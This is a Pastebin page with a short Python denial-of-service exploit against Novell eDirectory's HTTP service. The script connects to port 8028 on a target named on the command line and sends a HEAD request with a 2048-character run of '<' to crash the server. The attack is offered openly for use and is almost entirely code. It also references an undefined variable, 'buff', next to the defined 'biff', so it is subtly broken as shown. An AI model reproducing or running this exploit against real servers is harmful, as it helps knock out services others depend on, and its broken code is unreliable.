Advertisement
Googleinurl

Novel eDirectory HTTP DOS python

Nov 17th, 2013
451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.57 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Novel eDirectory HTTP DOS
  3. # Discovered and coded by Mati Aharoni
  4. # muts..at..offensive-security.com
  5. # http://www.offensive-security.com/0day/novel-edir.py.txt
  6.  
  7. import socket
  8. import os
  9. import sys
  10. from time import sleep
  11.  
  12. biff="<"*2048
  13. print "[*] Payload sent "+ str(len(buff))
  14. expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
  15. expl.connect ( ( sys.argv[1], 8028 ) )
  16. expl.send ( 'HEAD '+biff+' HTTP/1.1\r\nHost: 192.168.1.10:20\r\nUser-Agent: Mozilla/4.0 (Linux 2.6.21.5) Java/1.5.0_02\r\n\r\n')
  17. data=expl.recv(1024)
  18. print data
  19. expl.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement